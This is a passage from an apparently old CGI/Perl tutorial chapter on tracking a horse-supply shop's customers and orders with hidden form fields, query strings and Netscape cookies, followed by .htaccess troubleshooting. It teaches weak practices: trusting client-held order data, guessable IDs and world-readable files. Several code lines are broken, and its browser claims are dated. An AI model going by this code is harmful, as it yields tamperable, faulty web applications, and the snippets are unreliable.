20: to see special <em> <font size=+2> SALE </font></em> prices. </h3>
21:
22: <FORM METHOD=POST ACTION="/leading-rein/saddles.cgi">
23: <INPUT TYPE=HIDDEN NAME=unique_id value="$unique_id">
24: <INPUT TYPE=HIDDEN NAME=order value="$customer_data{'order'}">
25: <input type=image src=images/cat_1.jpg align=left>
26: <font size=+1>Choose from one of our many different types of saddles. </font>
27: <hr noshade>
28: <input type=submit name=youth value="All Purpose">
29: <input type=submit name=youth value="Close Contact">
30: <input type=submit name=youth value=Dressage>
31: <input type=submit name=youth value=Eventing>
32: <input type=submit name=youth value=Youth>
33: </FORM>
34: <br clear=left>
35:
36: <FORM METHOD=POST ACTION="/leading-rein/stirrups.cgi">
37: <INPUT TYPE=HIDDEN NAME=unique_id value="$unique_id">
38: <INPUT TYPE=HIDDEN NAME=order value="$customer_data{'order'}">
39: <input type=image src=images/dadp2_10.jpg align=left>
40: We have a fantastic selection of stirrups at reasonable prices. <p> Select the
41: stirrup image to see our sale prices.
42: </FORM>
43:
44: <br clear=left >
45: <br>
46: <FORM METHOD=POST ACTION="/leading-rein/clippers.cgi">
47: <INPUT TYPE=HIDDEN NAME=unique_id value="$unique_id">
48: <INPUT TYPE=HIDDEN NAME=order value="$customer_data{'order'}">
49: <input type=image src=images/dadp2_15.jpg align=left></a>
50: Good horse clippers can make preparation for show quick and painless. If your
51: clippers are beginning to show their age, take a look at the great prices
52: we have on these superb quality clippers.
53: </FORM>
54:
55: <FORM METHOD=POST ACTION="/leading-rein/pads.cgi">
56: <INPUT TYPE=HIDDEN NAME=unique_id value="$unique_id">
57: <INPUT TYPE=HIDDEN NAME=order value="$customer_data{'order'}">
58: <input type=image src=images/dadp2_06.jpg align=left>
59: Every rider knows that the saddle pad is one of the most important pieces
60: of equipment for your horse's comfort. A good saddle pad absorbs shock
61: keep your horse comfortable and sound.
62: <br clear=left >
63:
64: </FORM>
65:
66: <FORM METHOD=POST ACTION="/leading-rein/brushes.cgi">
67: <INPUT TYPE=HIDDEN NAME=unique_id value="$unique_id">
68: <INPUT TYPE=HIDDEN NAME=order value="$customer_data{'order'}">
69: <input type=image src=images/dadp2_23.jpg align=left>
70: You just can't survive without good brushes. Select the image on your
71: left to see our latest supply and prices.
72: <br clear=left >
73:
74: </FORM>
75:
76: </body>
77: </html>
78:
79: EOT
The image in Figure 7.6 shows the query string in the Location window. This is my infamous YUK! factor. In this case, it might be a bit more of a hazard. What concerns me about showing the query string in this call is that your customer now can see his ID number. There is bound to be some curiosity factor from your customer. Your site probably is still reasonably secure, however, because his ID is pretty hard to forge or accidentally find a valid value. Nevertheless, your customer might be tempted to see what happens when he modifies his number and then call your catalog again. If he does that, at the minimum, you have lost any previous information about this customer and you can't regenerate the original ID number. It's just got too many possible values in it.
The main page itself is pretty straightforward. You've just seen how the ID is created, and from the previous discussion of the YUK! factor, you should realize the unique ID is returned to your customer through a query string.
In particular, this call came from the web page of clippers. The Clippers web page is called from the HTML fragment immediately following this paragraph. You can see that the unique_id is passed as a hidden field when the Clippers web page is called. The image <INPUT TYPE> works just like a Submit button. One drawback with this method is the lack of information telling your Web client that the image is a link to another web page. The cursor doesn't change to the little hand (or whatever your browser does to let you know there is a link under the cursor) when it moves over the image, so you have to give some textual clue to your client that the image is a link to another web page. Listing 7.8 shows an HTML fragment for passing the unique Id.
01: <FORM METHOD=POST ACTION="/leading-rein/clippers.cgi">
02: <INPUT TYPE=HIDDEN NAME=unique_id value="$unique_id">
03: <INPUT TYPE=HIDDEN NAME=order value="$customer_data{'order'}">
04: <input type=image src=images/dadp2_15.jpg align=left></a>
05: Good horse clippers can make preparation for show quick and painless. If your
06: clippers are beginning to show their age, take a look at the great prices
07: we have on these superb quality clippers.
08: </FORM>
You can see in Listing 7.8 that the customer_data array is passed to each called web page as a hidden field. I didn't bother to send this data back from the Clippers page because I believe you already can see how unpalatable that would be to memajor YUK! If you choose to pass around the unique ID using the query string, it really isn't that dangerous because the uniqueness of the field will prevent any major tampering. But, you don't want the order data sent in such an easy-to-modify manner. If you're going to use the query string to pass the unique ID, I suggest using a file to save the customer order data, which you will be able to retrieve using unique_id. The call to the main catalog page was generated from the web page in Figure 7.7.
Figure 7.7. Calling the home page using the query string.
Listing 7.9 shows the CGI that generated that web page. As you can see, the CGI for generating this web page is very simple. All you need to do is save incoming hidden fields into your own local copy and keep passing the data around as you need to.
01: #! /usr/local/bin/perl
02: push (@INC, "/usr/local/business/http/accn.com/cgi-bin");
03: require("cgi-lib.pl");
04: print &PrintHeader;
05: &ReadParse(*customer_data);
06:
07: print <<"EOT";
08: <html>
09: <head><Title>Leading Rein Horse Supplies Clippers</title></head>
10: <body>
11:
12: <FORM METHOD=POST ACTION="/leading-rein/order.cgi">
13: <image src=images/dadpi_15.jpg align=left>
14: <font size=+2> These durable Rechargeable Cordless Clippers from Oster
15: are specially priced this week
16: for only \$69.95. </font><hr noshade><br>
17: <FORM METHOD=POST ACTION="/leading-rein/order.cgi">
18: <INPUT TYPE=HIDDEN NAME=unique_id value="$unique_id">
19: <INPUT TYPE=HIDDEN NAME=order value="$customer_data{'order'}">
20: <table border>
21: <th> Quantity <th>Regular Price<th>Sale Price<tr>
22: <td> <input type=text size=2 name="Oster RL-Clippers">
23: <td> \$97.95 <td>\$69.95<tr>
24: <tr></table>
25: </FORM>
26: <br clear=left>
27: <br>
28: <FORM METHOD=POST ACTION="/leading-rein/order.cgi">
29: <INPUT TYPE=HIDDEN NAME=unique_id value="$unique_id">
30: <INPUT TYPE=HIDDEN NAME=order value="$customer_data{'order'}">
31: <table border>
32: <td>
33: Qty
34: <tr>
35: <td rowsize=2><input type=text size=2 name=stirrup_1a >
36: <td><image src=images/dadp2_11.jpg align=left>
37: <td> <font size=+2>Vac'n Blo Large Animal Groomer</font>
38: <p>Heavy duty 4.0 hp model makes grooming faster and easier.
39: Includes 12-foot hose, three-piece brush and comb set.
40: <tr>
41: <td><td>. \$269.95 .<td><tr>
42: </FORM>
43: </table>
44:
45:[html deleted]
46: <A HREF="http://www.accn.com/leading-rein/index.cgi?unique_id=$customer_data{'unique_id'}">
47: <img alt="The Leading Rein " src="/leading-rein/images/home.gif" border=1 A>
48: </body>
49: </html>
50: EOT
Note: In case this seems a little fuzzy to you, let's take a couple of sentences here to be sure no one gets lost. The hidden fields of each form are made up of name/value pairs. Those name/value pairs are passed to each web page as part of STDIN, and you are using ReadParse to decode the STDIN for you. The customer order data is saved as one of those name/value pairs and just keeps being added to as your customer orders more items. Thought I'd just take a moment to jog your memory. You've covered an awful lot between Chapter 4 and here.
The two lines that you should be interested in at the moment are at the end of the program listing, starting immediately after the [html deleted] line. This is where you can see a valid reason for creating your own QUERY_STRING data and adding it to the TARGET URI. Just add the question mark (?) after the TARGET URI (index.cgi) and remember that the data is expected to be in name/value pair format. The equal sign separates the name from the value. Also, don't forget that the data must be URI encoded. If you have any special characters in your name/value pair data, it must be converted to its HEX equivalent and receded with a percent sign (%).
The other option for sending the unique ID to each of your web pages is shown in the call to the Clippers web page using the POST method.
This means the data is never directly visible to your web client. Just remember that the data is available to your web client by using the View Source option. Can you see that I'm a little uncomfortable using hidden fields? So, you must be asking, "If you're so uncomfortable with it, Eric, how come we're spending so much time on hidden fields? And what is the alternative?"
The alternative is the Netscape cookie. And it's also the reason why we're spending so much time talking abut hidden fields, because even though the cookie is the obvious choice for keeping track of multiple forms, it's only available for the "Mozilla" or Netscape browser. Therefore, for the moment, you are going to have to deal with hidden fields to keep track of what your customer is ordering. Maybe by the time you read this book, the other browsers will have gotten the idea and added this capability. I suspect that it will become a common feature of browsers because it really gets rid of all the concerns of hidden fields and moves a lot of the burden of keeping track of your customer out of the HTML and into the CGI program and the browser, where it belongs. Oh, and by the way, the Netscape cookie makes your work as a CGI programmer a lot easier.
So, what do you have to do to make the cookie work? Amazingly little. If you read the discussion in Chapter 6, you already should understand how Netscape cookies are supposed to work. But if you are like me, nothing really sinks in until you get to use it.
The cookie replaces the name/value pairs of the HTML form hidden fields with the name/value field of the SET-Cookie response header.
Your web customer places her order with you through the HTML form. Your CGI program receives the order data through the QUERY_STRING or STDIN, depending on how your HTML sends the data and returns the next web page to your customer with a SET-Cookie response header sent along with the rest of the data. The browser returns the cookie to you in its request headers. The cookie, along with your customer order data, now is available as an environment variable.
The HTML for creating the web page is identical, except that there are not any hidden fields in the first few lines of the main catalog. The first few lines of CGI code are different and are included in Listing 7.10.
01: #! /usr/local/bin/perl
02: push (@INC, "/usr/local/business/http/accn.com/cgi-bin");
03: require("cgi-lib.pl");
04: &ReadParse(*customer_data);
05: if (length($customer_data{'unique_id'}) == 0){
06: $unique_id = $$ . "-" . $ENV{'REMOTE_ADDR'} . "-" . time();
07: print "Set-Cookie: unique_id=$unique_id; \n";
08: }
09: print &PrintHeader;
As you can see, the difference is in the printing of the Set-Cookie response header on line 7. Don't forget to move the PrintHeader line to after the printing of the Cookie header. The PrintHeader subroutine prints the Content-Type response header and two newlines. This means that all other response headers printed after the PrintHeader subroutine call in line 9 is ignored. It's a simple thing to forget to move this subroutine call to after the sending of all other response headers, so a good rule is to put this header as the first line before the opening <HTML> <HEAD> ... tags.
Before you take a look at the simplicity of decoding the HTTP_COOKIE environment variable, revisit the Path field of the Set-Cookie response header.
In this example, the path is not set. This means that the path is defaulted to The Leading Rein directorythe directory to which the CGI program sends the Set-Cookie response header. This means the cookie will be returned only to URIs in The Leading Rein directory tree, all files in The Leading Rein directory, and all of its subdirectories.
You can use one of the Environment Variable Print programs from Chapter 6 to test whether the cookie is getting set the way you expect. The first time you try this, you might see no cookie at all. What happened? Well, if your Environment Variable Printing program is in the cgi-bin directory like mine is, then it's likely that the cookie was not returned by the browser. The path to the cgi-bin directory was not in the same directory tree as the CGI program where the Set-Cookie response header was set.
You can make the browser send the cookie to every URI in your document root directory tree by sending a cookie with the path set to the document root or /, as in the following line:
print "Set-Cookie: unique_id =$unique_id; path=/;/n";
After the browser has the cookie, it continues to send it to your CGI program throughout the browser session.
The next decision you have to make is whether you will let the browser keep track of the customer's order data, or whether you will keep track of it on the server using a file. If you use the cookie method, just send a new Set-Cookie response header with each new item ordered. You can send only one name/value pair per Set-Cookie response header, so if you get multiple orders in on one request, you will need to send out one cookie for each item ordered. When the browser returns its cookie to you, all the data will be available to your CGI program in the environment variable HTTP_COOKIE.
The other option available to you is using a file to store the order data. If you use hidden fields, this is the best route to go. At least for the immediate future, unless you want to restrict your sales to only Netscape customers, you will need to use hidden fields to keep track of each unique customer.
On Unix machines, there is no restriction on the length of file names, so you can use the unique ID as the name of the file in which you save the customer order data. If you're really paranoid, you can use the unique ID as a key for creating a file namethat way, your overcurious web client doesn't have the file name where you saved his order data. When you receive an order use the cookie or the hidden field and open the file for appending, as shown here:
open ORDER ">>unique_ID";
Then save the order information for later use in the file. Use some type of separator between each of the order fields, like a colon (:) so that you can retrieve the data easily.
Because the cookie already is set up in name/value pair format, decoding the cookie is really simple. Use this next line of code to decode your cookie into a nice associative array, just like the one returned from ReadParse:
%cookie_data = split(/=/,$ENV{'HTTP_COOKIE')
In this chapter, you learned how to apply the concepts of the previous chapters into a complete example. You learned in detail how CGI programming fits in with HTML, status codes, and HTTP request/response headers. In this chapter, you learned how to apply hidden fields across multiple HTML forms. You also learned how easy it is to substitute the Set-Cookie response header for hidden fields. Unfortunately, you also learned that the Set-Cookie response header only works for the Netscape browser, so understanding and using hidden fields still is required.
You also learned how to build a generic error message for use when registering customers. And you learned to set up password-protection files for per-directory access control. You also learned how the basic authentication scheme is applied using HTTP status codes of 401, 403, and 411; the WWW-Authenticate HTTP response header; and the Authorization HTTP request header.
Q: I put the .htaccess file in a directory and it didn't work. What happened?
A: You are not guaranteed that you can use per-directory access control. Take a look at the access.conf file in the server root configuration directory. Look for the AllowOverride command. The AllowOverride command restricts per-directory access control by the command options described in Table 7.2. Look at the AllowOverride command on your server and see what your System Administrator has allowed you to do with per-directory access control.
Option |
Meaning |
|
All |
Per-directory access control allowed in all directories. |
|
AuthConfig |
The per-directory access-control file can change the user-authorization scheme. |
|
FileInfo |
The per-directory access-control file can add new file types and MIME types by using the AddType and AddEncoding commands, respectively. |
|
Limit |
The per-directory access-control file has the freedom to limit access as it sees fit. |
|
None |
Per-directory access control is not allowed. Your .htaccess file has no impact on per-directory access control. |
|
Options |
The per-directory access-control file can override the Options directive only in the access.conf file. |
Q: I checked the AllowOverride command; it's set to All, and my htaccess file still doesn't work.
A: First, did you mean to name the file htaccess or .htaccess? The leading period (.) is important. Second, maybe the per-directory access-control file name isn't supposed to be .htaccess. Check the AccessFileName command in the srm.conf file. Your per-directory access-control file should be named whatever file name follows the AccessFileName command in the srm.conf file.
Q: Shouldn't files be saved with more secure privileges that read and write for everyone in the world?
A: Well, sure, but you are restricted by the fact that you want everybody in the world to use your system. This means that your processes are going to be run by user NOBODY, and that person will not be part of your normal group name. To protect your customers' information and your other files, you can move them to a secure directory and change their file permissions at that time. Or, delete them from your computer completely after you use them to process an order.